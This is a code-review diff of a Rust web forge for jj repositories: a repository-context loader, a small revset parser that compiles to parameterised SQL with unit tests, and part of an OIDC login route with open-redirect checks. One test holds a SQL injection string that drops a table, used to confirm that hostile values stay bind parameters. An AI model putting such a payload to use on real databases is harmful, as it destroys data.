| 98 | + | ||
| 99 | + | Ok(RepoContext { | |
| 100 | + | owner: row.owner_handle, | |
| 101 | + | access, | |
| 102 | + | repo: Repo { | |
| 103 | + | id: row.id, | |
| 104 | + | owner_kind: row.owner_kind, | |
| 105 | + | owner_user_id: row.owner_user_id, | |
| 106 | + | owner_org_id: row.owner_org_id, | |
| 107 | + | name: row.name, | |
| 108 | + | description: row.description, | |
| 109 | + | visibility: row.visibility, | |
| 110 | + | default_bookmark: row.default_bookmark, | |
| 111 | + | fork_of_repo_id: row.fork_of_repo_id, | |
| 112 | + | size_bytes: row.size_bytes, | |
| 113 | + | pushed_at: row.pushed_at, | |
| 114 | + | archived: row.archived, | |
| 115 | + | created_at: row.created_at, | |
| 116 | + | }, | |
| 117 | + | }) | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | pub fn store_id(&self) -> RepoId { | |
| 121 | + | RepoId(self.repo.id) | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | /// URL prefix for this repository. | |
| 125 | + | pub fn base(&self) -> String { | |
| 126 | + | format!("/{}/{}", self.owner, self.repo.name) | |
| 127 | + | } | |
| 128 | + | ||
| 129 | + | /// Require a permission, or fail. | |
| 130 | + | /// | |
| 131 | + | /// Used *after* `load` has already authorized read, so a 403 here does not | |
| 132 | + | /// disclose anything the viewer cannot already see. | |
| 133 | + | pub fn require_push(&self) -> AppResult<()> { | |
| 134 | + | self.access | |
| 135 | + | .can_push() | |
| 136 | + | .then_some(()) | |
| 137 | + | .ok_or(AppError::Forbidden) | |
| 138 | + | } | |
| 139 | + | ||
| 140 | + | pub fn require_settings(&self) -> AppResult<()> { | |
| 141 | + | self.access | |
| 142 | + | .can_change_settings() | |
| 143 | + | .then_some(()) | |
| 144 | + | .ok_or(AppError::Forbidden) | |
| 145 | + | } | |
| 146 | + | } | |
| 147 | + | ||
| 148 | + | #[derive(sqlx::FromRow)] | |
| 149 | + | struct RepoRow { | |
| 150 | + | id: Uuid, | |
| 151 | + | owner_kind: OwnerKind, | |
| 152 | + | owner_user_id: Option<Uuid>, | |
| 153 | + | owner_org_id: Option<Uuid>, | |
| 154 | + | name: String, | |
| 155 | + | description: Option<String>, | |
| 156 | + | visibility: Visibility, | |
| 157 | + | default_bookmark: String, | |
| 158 | + | fork_of_repo_id: Option<Uuid>, | |
| 159 | + | size_bytes: i64, | |
| 160 | + | pushed_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 161 | + | archived: bool, | |
| 162 | + | created_at: chrono::DateTime<chrono::Utc>, | |
| 163 | + | owner_handle: String, | |
| 164 | + | collaborator_role: Option<RepoRole>, | |
| 165 | + | org_role: Option<OrgRole>, | |
| 166 | + | } | |
Acrates/df-web/src/revset.rs543 lines+543−0
| @@ −0,0 +1,543 @@ | |||
| 1 | + | //! A deliberately small revset subset (spec §8). | |
| 2 | + | //! | |
| 3 | + | //! > Do not attempt to implement jj's full revset language against a Git-backed | |
| 4 | + | //! > index; it will not be faithful, and a subtly wrong revset is worse than an | |
| 5 | + | //! > honestly limited one. Show a clear "unsupported expression" message rather | |
| 6 | + | //! > than silently returning partial results. | |
| 7 | + | //! | |
| 8 | + | //! Supported: `author()`, `description()`, `conflicted()`, `bookmarks()`, | |
| 9 | + | //! `open()`, and the operators `&`, `|`, `~`. | |
| 10 | + | //! | |
| 11 | + | //! `docs/revset-semantics.md` records the trap this parser is built around: in | |
| 12 | + | //! jj, `description("x")` is an **exact** match, not a substring match. The | |
| 13 | + | //! obvious `ILIKE '%x%'` translation returns *more* rows than the CLI would, so | |
| 14 | + | //! the bare form is rejected and `description(substring:"x")` is required to | |
| 15 | + | //! ask for substring matching. | |
| 16 | + | ||
| 17 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 18 | + | pub enum Expr { | |
| 19 | + | Author(String), | |
| 20 | + | /// Exact match on the full description. | |
| 21 | + | DescriptionExact(String), | |
| 22 | + | /// Substring match, only via the explicit `substring:` prefix. | |
| 23 | + | DescriptionSubstring(String), | |
| 24 | + | Conflicted, | |
| 25 | + | Open, | |
| 26 | + | Bookmark(String), | |
| 27 | + | And(Box<Expr>, Box<Expr>), | |
| 28 | + | Or(Box<Expr>, Box<Expr>), | |
| 29 | + | Not(Box<Expr>), | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 33 | + | pub struct RevsetError(pub String); | |
| 34 | + | ||
| 35 | + | impl std::fmt::Display for RevsetError { | |
| 36 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 37 | + | f.write_str(&self.0) | |
| 38 | + | } | |
| 39 | + | } | |
| 40 | + | ||
| 41 | + | /// Functions jj has that this subset deliberately does not implement. | |
| 42 | + | /// | |
| 43 | + | /// Named explicitly so the message says *which* function is unsupported rather | |
| 44 | + | /// than producing a generic syntax error. | |
| 45 | + | const KNOWN_UNSUPPORTED: &[&str] = &[ | |
| 46 | + | "heads", "roots", "ancestors", "descendants", "parents", "children", | |
| 47 | + | "latest", "merges", "file", "diff_contains", "empty", "tags", "git_refs", | |
| 48 | + | "visible_heads", "reachable", "connected", "mine", "trunk", "present", | |
| 49 | + | ]; | |
| 50 | + | ||
| 51 | + | pub fn parse(input: &str) -> Result<Option<Expr>, RevsetError> { | |
| 52 | + | let trimmed = input.trim(); | |
| 53 | + | if trimmed.is_empty() { | |
| 54 | + | return Ok(None); | |
| 55 | + | } | |
| 56 | + | if trimmed.len() > 500 { | |
| 57 | + | return Err(RevsetError("Expression is too long.".into())); | |
| 58 | + | } | |
| 59 | + | ||
| 60 | + | let mut p = Parser { | |
| 61 | + | s: trimmed.as_bytes(), | |
| 62 | + | i: 0, | |
| 63 | + | }; | |
| 64 | + | let e = p.parse_or()?; | |
| 65 | + | p.skip_ws(); | |
| 66 | + | if p.i < p.s.len() { | |
| 67 | + | return Err(RevsetError(format!( | |
| 68 | + | "Unexpected input at position {}.", | |
| 69 | + | p.i | |
| 70 | + | ))); | |
| 71 | + | } | |
| 72 | + | Ok(Some(e)) | |
| 73 | + | } | |
| 74 | + | ||
| 75 | + | struct Parser<'a> { | |
| 76 | + | s: &'a [u8], | |
| 77 | + | i: usize, | |
| 78 | + | } | |
| 79 | + | ||
| 80 | + | impl<'a> Parser<'a> { | |
| 81 | + | fn skip_ws(&mut self) { | |
| 82 | + | while self.i < self.s.len() && self.s[self.i].is_ascii_whitespace() { | |
| 83 | + | self.i += 1; | |
| 84 | + | } | |
| 85 | + | } | |
| 86 | + | ||
| 87 | + | fn peek(&mut self) -> Option<u8> { | |
| 88 | + | self.skip_ws(); | |
| 89 | + | self.s.get(self.i).copied() | |
| 90 | + | } | |
| 91 | + | ||
| 92 | + | fn parse_or(&mut self) -> Result<Expr, RevsetError> { | |
| 93 | + | let mut left = self.parse_and()?; | |
| 94 | + | while self.peek() == Some(b'|') { | |
| 95 | + | self.i += 1; | |
| 96 | + | let right = self.parse_and()?; | |
| 97 | + | left = Expr::Or(Box::new(left), Box::new(right)); | |
| 98 | + | } | |
| 99 | + | Ok(left) | |
| 100 | + | } | |
| 101 | + | ||
| 102 | + | fn parse_and(&mut self) -> Result<Expr, RevsetError> { | |
| 103 | + | let mut left = self.parse_unary()?; | |
| 104 | + | while self.peek() == Some(b'&') { | |
| 105 | + | self.i += 1; | |
| 106 | + | let right = self.parse_unary()?; | |
| 107 | + | left = Expr::And(Box::new(left), Box::new(right)); | |
| 108 | + | } | |
| 109 | + | Ok(left) | |
| 110 | + | } | |
| 111 | + | ||
| 112 | + | fn parse_unary(&mut self) -> Result<Expr, RevsetError> { | |
| 113 | + | if self.peek() == Some(b'~') { | |
| 114 | + | self.i += 1; | |
| 115 | + | return Ok(Expr::Not(Box::new(self.parse_unary()?))); | |
| 116 | + | } | |
| 117 | + | self.parse_atom() | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | fn parse_atom(&mut self) -> Result<Expr, RevsetError> { | |
| 121 | + | match self.peek() { | |
| 122 | + | Some(b'(') => { | |
| 123 | + | self.i += 1; | |
| 124 | + | let e = self.parse_or()?; | |
| 125 | + | if self.peek() != Some(b')') { | |
| 126 | + | return Err(RevsetError("Missing closing parenthesis.".into())); | |
| 127 | + | } | |
| 128 | + | self.i += 1; | |
| 129 | + | Ok(e) | |
| 130 | + | } | |
| 131 | + | Some(c) if c.is_ascii_alphabetic() || c == b'_' => self.parse_call(), | |
| 132 | + | Some(c) => Err(RevsetError(format!( | |
| 133 | + | "Unexpected character '{}'.", | |
| 134 | + | c as char | |
| 135 | + | ))), | |
| 136 | + | None => Err(RevsetError("Unexpected end of expression.".into())), | |
| 137 | + | } | |
| 138 | + | } | |
| 139 | + | ||
| 140 | + | fn parse_call(&mut self) -> Result<Expr, RevsetError> { | |
| 141 | + | self.skip_ws(); | |
| 142 | + | let start = self.i; | |
| 143 | + | while self.i < self.s.len() | |
| 144 | + | && (self.s[self.i].is_ascii_alphanumeric() || self.s[self.i] == b'_') | |
| 145 | + | { | |
| 146 | + | self.i += 1; | |
| 147 | + | } | |
| 148 | + | let name = std::str::from_utf8(&self.s[start..self.i]) | |
| 149 | + | .map_err(|_| RevsetError("Invalid characters in function name.".into()))? | |
| 150 | + | .to_string(); | |
| 151 | + | ||
| 152 | + | if self.peek() != Some(b'(') { | |
| 153 | + | return Err(RevsetError(format!( | |
| 154 | + | "`{name}` is not a value. This subset supports only function calls \ | |
| 155 | + | such as author(…), description(…), conflicted(), open(), bookmarks(…)." | |
| 156 | + | ))); | |
| 157 | + | } | |
| 158 | + | self.i += 1; | |
| 159 | + | ||
| 160 | + | let arg = self.parse_arg()?; | |
| 161 | + | ||
| 162 | + | if self.peek() != Some(b')') { | |
| 163 | + | return Err(RevsetError(format!("Missing closing parenthesis after `{name}(`."))); | |
| 164 | + | } | |
| 165 | + | self.i += 1; | |
| 166 | + | ||
| 167 | + | build(&name, arg) | |
| 168 | + | } | |
| 169 | + | ||
| 170 | + | /// Read a function argument: a quoted string, a `prefix:"value"` form, or a | |
| 171 | + | /// bare word. | |
| 172 | + | fn parse_arg(&mut self) -> Result<String, RevsetError> { | |
| 173 | + | self.skip_ws(); | |
| 174 | + | if self.peek() == Some(b')') { | |
| 175 | + | return Ok(String::new()); | |
| 176 | + | } | |
| 177 | + | ||
| 178 | + | let mut out = String::new(); | |
| 179 | + | // Optional `substring:` / `exact:` prefix, kept verbatim for `build`. | |
| 180 | + | let start = self.i; | |
| 181 | + | while self.i < self.s.len() | |
| 182 | + | && (self.s[self.i].is_ascii_alphanumeric() || self.s[self.i] == b'_') | |
| 183 | + | { | |
| 184 | + | self.i += 1; | |
| 185 | + | } | |
| 186 | + | if self.i < self.s.len() && self.s[self.i] == b':' { | |
| 187 | + | out.push_str( | |
| 188 | + | std::str::from_utf8(&self.s[start..self.i]) | |
| 189 | + | .map_err(|_| RevsetError("Invalid argument.".into()))?, | |
| 190 | + | ); | |
| 191 | + | out.push(':'); | |
| 192 | + | self.i += 1; | |
| 193 | + | } else { | |
| 194 | + | self.i = start; | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | self.skip_ws(); | |
| 198 | + | match self.s.get(self.i) { | |
| 199 | + | Some(b'"') | Some(b'\'') => { | |
| 200 | + | let quote = self.s[self.i]; | |
| 201 | + | self.i += 1; | |
| 202 | + | let vstart = self.i; | |
| 203 | + | while self.i < self.s.len() && self.s[self.i] != quote { | |
| 204 | + | self.i += 1; | |
| 205 | + | } | |
| 206 | + | if self.i >= self.s.len() { | |
| 207 | + | return Err(RevsetError("Unterminated string.".into())); | |
| 208 | + | } | |
| 209 | + | out.push_str( | |
| 210 | + | std::str::from_utf8(&self.s[vstart..self.i]) | |
| 211 | + | .map_err(|_| RevsetError("Invalid string.".into()))?, | |
| 212 | + | ); | |
| 213 | + | self.i += 1; | |
| 214 | + | } | |
| 215 | + | _ => { | |
| 216 | + | let vstart = self.i; | |
| 217 | + | while self.i < self.s.len() | |
| 218 | + | && self.s[self.i] != b')' | |
| 219 | + | && self.s[self.i] != b'&' | |
| 220 | + | && self.s[self.i] != b'|' | |
| 221 | + | { | |
| 222 | + | self.i += 1; | |
| 223 | + | } | |
| 224 | + | out.push_str( | |
| 225 | + | std::str::from_utf8(&self.s[vstart..self.i]) | |
| 226 | + | .map_err(|_| RevsetError("Invalid argument.".into()))? | |
| 227 | + | .trim(), | |
| 228 | + | ); | |
| 229 | + | } | |
| 230 | + | } | |
| 231 | + | Ok(out) | |
| 232 | + | } | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | fn build(name: &str, arg: String) -> Result<Expr, RevsetError> { | |
| 236 | + | match name { | |
| 237 | + | "author" => { | |
| 238 | + | if arg.is_empty() { | |
| 239 | + | return Err(RevsetError("author() needs an argument.".into())); | |
| 240 | + | } | |
| 241 | + | Ok(Expr::Author(strip_prefix(&arg))) | |
| 242 | + | } | |
| 243 | + | "description" | "subject" => { | |
| 244 | + | if let Some(v) = arg.strip_prefix("substring:") { | |
| 245 | + | Ok(Expr::DescriptionSubstring(v.to_string())) | |
| 246 | + | } else if let Some(v) = arg.strip_prefix("exact:") { | |
| 247 | + | Ok(Expr::DescriptionExact(v.to_string())) | |
| 248 | + | } else { | |
| 249 | + | // The trap. jj matches exactly here; a substring translation | |
| 250 | + | // would return more than the CLI does. | |
| 251 | + | Err(RevsetError(format!( | |
| 252 | + | "`{name}(\"…\")` matches the description EXACTLY in jj, which rarely \ | |
| 253 | + | does what you want here. Write {name}(substring:\"…\") for a \ | |
| 254 | + | substring match, or {name}(exact:\"…\") to be explicit." | |
| 255 | + | ))) | |
| 256 | + | } | |
| 257 | + | } | |
| 258 | + | "conflicted" | "conflicts" => Ok(Expr::Conflicted), | |
| 259 | + | "open" => Ok(Expr::Open), | |
| 260 | + | "bookmarks" | "bookmark" | "branches" => Ok(Expr::Bookmark(strip_prefix(&arg))), | |
| 261 | + | other if KNOWN_UNSUPPORTED.contains(&other) => Err(RevsetError(format!( | |
| 262 | + | "`{other}()` needs graph traversal or content search, which this index \ | |
| 263 | + | cannot answer faithfully. Supported: author, description, conflicted, \ | |
| 264 | + | open, bookmarks." | |
| 265 | + | ))), | |
| 266 | + | other => Err(RevsetError(format!( | |
| 267 | + | "Unknown function `{other}()`. Supported: author, description, \ | |
| 268 | + | conflicted, open, bookmarks." | |
| 269 | + | ))), | |
| 270 | + | } | |
| 271 | + | } | |
| 272 | + | ||
| 273 | + | fn strip_prefix(arg: &str) -> String { | |
| 274 | + | arg.strip_prefix("substring:") | |
| 275 | + | .or_else(|| arg.strip_prefix("exact:")) | |
| 276 | + | .unwrap_or(arg) | |
| 277 | + | .to_string() | |
| 278 | + | } | |
| 279 | + | ||
| 280 | + | /// Compile to a SQL fragment plus its bind values. | |
| 281 | + | /// | |
| 282 | + | /// Placeholders start at `next_param`, which the caller advances so the | |
| 283 | + | /// fragment can be spliced into a larger query. | |
| 284 | + | /// Escape the wildcards in a value destined for `ILIKE`. | |
| 285 | + | /// | |
| 286 | + | /// The value is bound as a parameter, so this is not about SQL injection — it | |
| 287 | + | /// is about meaning. `author(%)` would otherwise match every author, and | |
| 288 | + | /// `description-substring(a_b)` would match `axb`, neither of which is what the | |
| 289 | + | /// user wrote. `\` is the escape character Postgres uses by default. | |
| 290 | + | fn escape_like(v: &str) -> String { | |
| 291 | + | let mut out = String::with_capacity(v.len()); | |
| 292 | + | for c in v.chars() { | |
| 293 | + | if matches!(c, '%' | '_' | '\\') { | |
| 294 | + | out.push('\\'); | |
| 295 | + | } | |
| 296 | + | out.push(c); | |
| 297 | + | } | |
| 298 | + | out | |
| 299 | + | } | |
| 300 | + | ||
| 301 | + | pub fn to_sql(e: &Expr, next_param: &mut usize) -> (String, Vec<String>) { | |
| 302 | + | match e { | |
| 303 | + | Expr::Author(v) => { | |
| 304 | + | // jj matches author name *and* email as a substring. | |
| 305 | + | let a = *next_param; | |
| 306 | + | *next_param += 1; | |
| 307 | + | ( | |
| 308 | + | format!( | |
| 309 | + | "EXISTS (SELECT 1 FROM revisions rv WHERE rv.change_id_fk = c.id \ | |
| 310 | + | AND (rv.author_name ILIKE '%' || ${a} || '%' \ | |
| 311 | + | OR rv.author_email ILIKE '%' || ${a} || '%'))" | |
| 312 | + | ), | |
| 313 | + | vec![escape_like(v)], | |
| 314 | + | ) | |
| 315 | + | } | |
| 316 | + | Expr::DescriptionExact(v) => { | |
| 317 | + | let a = *next_param; | |
| 318 | + | *next_param += 1; | |
| 319 | + | (format!("(c.title = ${a} OR c.description = ${a})"), vec![v.clone()]) | |
| 320 | + | } | |
| 321 | + | Expr::DescriptionSubstring(v) => { | |
| 322 | + | let a = *next_param; | |
| 323 | + | *next_param += 1; | |
| 324 | + | ( | |
| 325 | + | format!("(c.title ILIKE '%' || ${a} || '%' OR c.description ILIKE '%' || ${a} || '%')"), | |
| 326 | + | vec![escape_like(v)], | |
| 327 | + | ) | |
| 328 | + | } | |
| 329 | + | Expr::Conflicted => ("c.conflicted".to_string(), vec![]), | |
| 330 | + | Expr::Open => ("c.state = 'open'".to_string(), vec![]), | |
| 331 | + | Expr::Bookmark(v) => { | |
| 332 | + | let a = *next_param; | |
| 333 | + | *next_param += 1; | |
| 334 | + | (format!("c.target_bookmark = ${a}"), vec![v.clone()]) | |
| 335 | + | } | |
| 336 | + | Expr::And(l, r) => { | |
| 337 | + | let (ls, mut lv) = to_sql(l, next_param); | |
| 338 | + | let (rs, rv) = to_sql(r, next_param); | |
| 339 | + | lv.extend(rv); | |
| 340 | + | (format!("({ls} AND {rs})"), lv) | |
| 341 | + | } | |
| 342 | + | Expr::Or(l, r) => { | |
| 343 | + | let (ls, mut lv) = to_sql(l, next_param); | |
| 344 | + | let (rs, rv) = to_sql(r, next_param); | |
| 345 | + | lv.extend(rv); | |
| 346 | + | (format!("({ls} OR {rs})"), lv) | |
| 347 | + | } | |
| 348 | + | Expr::Not(i) => { | |
| 349 | + | let (s, v) = to_sql(i, next_param); | |
| 350 | + | (format!("(NOT {s})"), v) | |
| 351 | + | } | |
| 352 | + | } | |
| 353 | + | } | |
| 354 | + | ||
| 355 | + | #[cfg(test)] | |
| 356 | + | mod tests { | |
| 357 | + | use super::*; | |
| 358 | + | ||
| 359 | + | #[test] | |
| 360 | + | fn empty_input_is_no_filter() { | |
| 361 | + | assert_eq!(parse(""), Ok(None)); | |
| 362 | + | assert_eq!(parse(" "), Ok(None)); | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | #[test] | |
| 366 | + | fn parses_the_supported_functions() { | |
| 367 | + | assert_eq!(parse("conflicted()").unwrap(), Some(Expr::Conflicted)); | |
| 368 | + | assert_eq!(parse("open()").unwrap(), Some(Expr::Open)); | |
| 369 | + | assert_eq!( | |
| 370 | + | parse("author(mira)").unwrap(), | |
| 371 | + | Some(Expr::Author("mira".into())) | |
| 372 | + | ); | |
| 373 | + | assert_eq!( | |
| 374 | + | parse("author(\"mira\")").unwrap(), | |
| 375 | + | Some(Expr::Author("mira".into())) | |
| 376 | + | ); | |
| 377 | + | assert_eq!( | |
| 378 | + | parse("bookmarks(main)").unwrap(), | |
| 379 | + | Some(Expr::Bookmark("main".into())) | |
| 380 | + | ); | |
| 381 | + | } | |
| 382 | + | ||
| 383 | + | // ─── the description trap (docs/revset-semantics.md) ───────────────────── | |
| 384 | + | ||
| 385 | + | #[test] | |
| 386 | + | fn bare_description_is_rejected_rather_than_silently_made_substring() { | |
| 387 | + | // jj's description("x") is an EXACT match. Translating it to ILIKE | |
| 388 | + | // would return more rows than the CLI, which §8 calls worse than an | |
| 389 | + | // honest limitation. | |
| 390 | + | let e = parse("description(\"fix\")").unwrap_err(); | |
| 391 | + | assert!(e.0.contains("EXACTLY"), "message must explain: {}", e.0); | |
| 392 | + | assert!(e.0.contains("substring:"), "must suggest the fix: {}", e.0); | |
| 393 | + | } | |
| 394 | + | ||
| 395 | + | #[test] | |
| 396 | + | fn explicit_substring_and_exact_forms_are_accepted() { | |
| 397 | + | assert_eq!( | |
| 398 | + | parse("description(substring:\"fix\")").unwrap(), | |
| 399 | + | Some(Expr::DescriptionSubstring("fix".into())) | |
| 400 | + | ); | |
| 401 | + | assert_eq!( | |
| 402 | + | parse("description(exact:\"fix\")").unwrap(), | |
| 403 | + | Some(Expr::DescriptionExact("fix".into())) | |
| 404 | + | ); | |
| 405 | + | } | |
| 406 | + | ||
| 407 | + | // ─── operators ─────────────────────────────────────────────────────────── | |
| 408 | + | ||
| 409 | + | #[test] | |
| 410 | + | fn parses_and_or_not() { | |
| 411 | + | let e = parse("author(a) & conflicted()").unwrap().unwrap(); | |
| 412 | + | assert!(matches!(e, Expr::And(_, _))); | |
| 413 | + | ||
| 414 | + | let e = parse("open() | conflicted()").unwrap().unwrap(); | |
| 415 | + | assert!(matches!(e, Expr::Or(_, _))); | |
| 416 | + | ||
| 417 | + | let e = parse("~conflicted()").unwrap().unwrap(); | |
| 418 | + | assert!(matches!(e, Expr::Not(_))); | |
| 419 | + | } | |
| 420 | + | ||
| 421 | + | #[test] | |
| 422 | + | fn and_binds_tighter_than_or() { | |
| 423 | + | // a | b & c == a | (b & c) | |
| 424 | + | let e = parse("open() | conflicted() & author(x)").unwrap().unwrap(); | |
| 425 | + | match e { | |
| 426 | + | Expr::Or(l, r) => { | |
| 427 | + | assert_eq!(*l, Expr::Open); | |
| 428 | + | assert!(matches!(*r, Expr::And(_, _))); | |
| 429 | + | } | |
| 430 | + | other => panic!("expected Or at the top, got {other:?}"), | |
| 431 | + | } | |
| 432 | + | } | |
| 433 | + | ||
| 434 | + | #[test] | |
| 435 | + | fn parentheses_override_precedence() { | |
| 436 | + | let e = parse("(open() | conflicted()) & author(x)").unwrap().unwrap(); | |
| 437 | + | assert!(matches!(e, Expr::And(_, _))); | |
| 438 | + | } | |
| 439 | + | ||
| 440 | + | // ─── honest rejection (spec §8) ────────────────────────────────────────── | |
| 441 | + | ||
| 442 | + | #[test] | |
| 443 | + | fn unsupported_functions_are_named_in_the_error() { | |
| 444 | + | for f in ["heads()", "ancestors(x)", "file(a.rs)", "merges()"] { | |
| 445 | + | let e = parse(f).unwrap_err(); | |
| 446 | + | let name = f.split('(').next().unwrap(); | |
| 447 | + | assert!( | |
| 448 | + | e.0.contains(name), | |
| 449 | + | "error for {f} must name the function: {}", | |
| 450 | + | e.0 | |
| 451 | + | ); | |
| 452 | + | } | |
| 453 | + | } | |
| 454 | + | ||
| 455 | + | #[test] | |
| 456 | + | fn unknown_functions_are_rejected_not_ignored() { | |
| 457 | + | let e = parse("authr(mira)").unwrap_err(); | |
| 458 | + | assert!(e.0.contains("authr"), "got {}", e.0); | |
| 459 | + | } | |
| 460 | + | ||
| 461 | + | #[test] | |
| 462 | + | fn malformed_input_produces_an_error_not_a_partial_result() { | |
| 463 | + | for bad in [ | |
| 464 | + | "authr(mira) & (", | |
| 465 | + | "open(", | |
| 466 | + | ")", | |
| 467 | + | "&", | |
| 468 | + | "author(", | |
| 469 | + | "open() &", | |
| 470 | + | "\"unterminated", | |
| 471 | + | ] { | |
| 472 | + | assert!(parse(bad).is_err(), "{bad:?} should not parse"); | |
| 473 | + | } | |
| 474 | + | } | |
| 475 | + | ||
| 476 | + | #[test] | |
| 477 | + | fn a_bare_word_is_rejected_with_a_helpful_message() { | |
| 478 | + | let e = parse("main").unwrap_err(); | |
| 479 | + | assert!(e.0.contains("not a value"), "got {}", e.0); | |
| 480 | + | } | |
| 481 | + | ||
| 482 | + | #[test] | |
| 483 | + | fn absurdly_long_input_is_refused() { | |
| 484 | + | assert!(parse(&"open() | ".repeat(200)).is_err()); | |
| 485 | + | } | |
| 486 | + | ||
| 487 | + | // ─── SQL generation ────────────────────────────────────────────────────── | |
| 488 | + | ||
| 489 | + | #[test] | |
| 490 | + | fn generates_numbered_placeholders_without_interpolating_values() { | |
| 491 | + | let e = parse("author(mira) & conflicted()").unwrap().unwrap(); | |
| 492 | + | let mut n = 3; | |
| 493 | + | let (sql, vals) = to_sql(&e, &mut n); | |
| 494 | + | ||
| 495 | + | assert!(sql.contains("$3"), "got {sql}"); | |
| 496 | + | assert_eq!(vals, vec!["mira".to_string()]); | |
| 497 | + | assert_eq!(n, 4, "the parameter counter must advance"); | |
| 498 | + | // The value must never appear inline — that would be an injection. | |
| 499 | + | assert!(!sql.contains("mira"), "value was interpolated into SQL: {sql}"); | |
| 500 | + | } | |
| 501 | + | ||
| 502 | + | #[test] | |
| 503 | + | fn a_hostile_value_stays_a_bind_parameter() { | |
| 504 | + | let e = parse("author(\"'; DROP TABLE changes; --\")").unwrap().unwrap(); | |
| 505 | + | let mut n = 1; | |
| 506 | + | let (sql, vals) = to_sql(&e, &mut n); | |
| 507 | + | assert!(!sql.contains("DROP"), "SQL injection: {sql}"); | |
| 508 | + | assert_eq!(vals[0], "'; DROP TABLE changes; --"); | |
| 509 | + | } | |
| 510 | + | ||
| 511 | + | #[test] | |
| 512 | + | fn placeholders_stay_unique_across_a_compound_expression() { | |
| 513 | + | let e = parse("author(a) & (bookmarks(b) | description(substring:\"c\"))") | |
| 514 | + | .unwrap() | |
| 515 | + | .unwrap(); | |
| 516 | + | let mut n = 1; | |
| 517 | + | let (sql, vals) = to_sql(&e, &mut n); | |
| 518 | + | assert_eq!(vals.len(), 3); | |
| 519 | + | for i in 1..=3 { | |
| 520 | + | assert!(sql.contains(&format!("${i}")), "missing ${i} in {sql}"); | |
| 521 | + | } | |
| 522 | + | assert_eq!(n, 4); | |
| 523 | + | } | |
| 524 | + | ||
| 525 | + | #[test] | |
| 526 | + | fn like_wildcards_in_a_value_are_escaped() { | |
| 527 | + | // Bound as a parameter either way, so this is about meaning rather than | |
| 528 | + | // injection: `author(%)` must not match every author. | |
| 529 | + | assert_eq!(escape_like("%"), "\\%"); | |
| 530 | + | assert_eq!(escape_like("a_b"), "a\\_b"); | |
| 531 | + | assert_eq!(escape_like("100%_sure"), "100\\%\\_sure"); | |
| 532 | + | assert_eq!(escape_like("plain"), "plain"); | |
| 533 | + | assert_eq!(escape_like("back\\slash"), "back\\\\slash"); | |
| 534 | + | } | |
| 535 | + | ||
| 536 | + | #[test] | |
| 537 | + | fn escaped_values_reach_the_bind_list() { | |
| 538 | + | let e = parse("author(%)").unwrap().unwrap(); | |
| 539 | + | let mut n = 3; | |
| 540 | + | let (_, vals) = to_sql(&e, &mut n); | |
| 541 | + | assert_eq!(vals, vec!["\\%".to_string()]); | |
| 542 | + | } | |
| 543 | + | } | |
Acrates/df-web/src/routes/auth.rs401 lines+401−0
| @@ −0,0 +1,401 @@ | |||
| 1 | + | //! Login, callback, handle selection, and logout. | |
| 2 | + | ||
| 3 | + | use axum::extract::{Query, State}; | |
| 4 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 5 | + | use axum::Form; | |
| 6 | + | use axum_extra::extract::cookie::{Cookie, SameSite}; | |
| 7 | + | use axum_extra::extract::CookieJar; | |
| 8 | + | use df_auth::provisioning; | |
| 9 | + | use df_auth::{oidc, session}; | |
| 10 | + | use serde::Deserialize; | |
| 11 | + | ||
| 12 | + | use crate::error::{AppError, AppResult}; | |
| 13 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 14 | + | use crate::views::{self, Chrome}; | |
| 15 | + | ||
| 16 | + | #[derive(Deserialize)] | |
| 17 | + | pub struct LoginQuery { | |
| 18 | + | /// Where to land after signing in. Validated as a local path. | |
| 19 | + | pub next: Option<String>, | |
| 20 | + | /// `sso` starts the OIDC round trip. Absent renders the sign-in page. | |
| 21 | + | pub r#continue: Option<String>, | |
| 22 | + | } | |
| 23 | + | ||
| 24 | + | /// The sign-in page, and the start of the OIDC flow. | |
| 25 | + | /// | |
| 26 | + | /// `/login` used to redirect to the provider immediately. It now renders a page | |
| 27 | + | /// first and starts the flow at `/login?continue=sso`, so the product has a | |
| 28 | + | /// sign-in screen of its own rather than handing the first impression to the | |
| 29 | + | /// identity provider. Every existing link to `/login` still lands somewhere | |
| 30 | + | /// sensible — one click further from the provider than before. | |
| 31 | + | pub async fn login( | |
| 32 | + | State(state): State<AppState>, | |
| 33 | + | Query(q): Query<LoginQuery>, | |
| 34 | + | CurrentUser(user): CurrentUser, | |
| 35 | + | CsrfToken(csrf): CsrfToken, | |
| 36 | + | Nonce(nonce): Nonce, | |
| 37 | + | ) -> AppResult<Response> { | |
| 38 | + | if user.is_some() { | |
| 39 | + | return Ok(Redirect::to("/").into_response()); | |
| 40 | + | } | |
| 41 | + | ||
| 42 | + | // An unvalidated `next` here would be an open redirect handed to everyone | |
| 43 | + | // who follows a login link. Validated once, here, and then carried through | |
| 44 | + | // both the page and the flow. | |
| 45 | + | let next = q.next.as_deref().and_then(oidc::safe_redirect); | |
| 46 | + | ||
| 47 | + | if q.r#continue.as_deref() == Some("sso") { | |
| 48 | + | let url = state.oidc.begin(&state.db, next.as_deref()).await?; | |
| 49 | + | return Ok(Redirect::to(&url).into_response()); | |
| 50 | + | } | |
| 51 | + | ||
| 52 | + | let sso_href = match &next { | |
| 53 | + | // `next` has already been validated as a local path, and Maud escapes | |
| 54 | + | // the attribute, so this cannot break out of the URL. | |
| 55 | + | Some(n) => { | |
| 56 | + | let encoded: String = form_urlencoded::byte_serialize(n.as_bytes()).collect(); | |
| 57 | + | format!("/login?continue=sso&next={encoded}") | |
| 58 | + | } | |
| 59 | + | None => "/login?continue=sso".to_string(), | |
| 60 | + | }; | |
| 61 | + | ||
| 62 | + | Ok(views::page( | |
| 63 | + | Chrome { title: "Sign in", user: None, csrf: &csrf, nonce: &nonce }, | |
| 64 | + | views::pages::signin(&sso_href), | |
| 65 | + | ) | |
| 66 | + | .into_response()) | |
| 67 | + | } | |
| 68 | + | ||
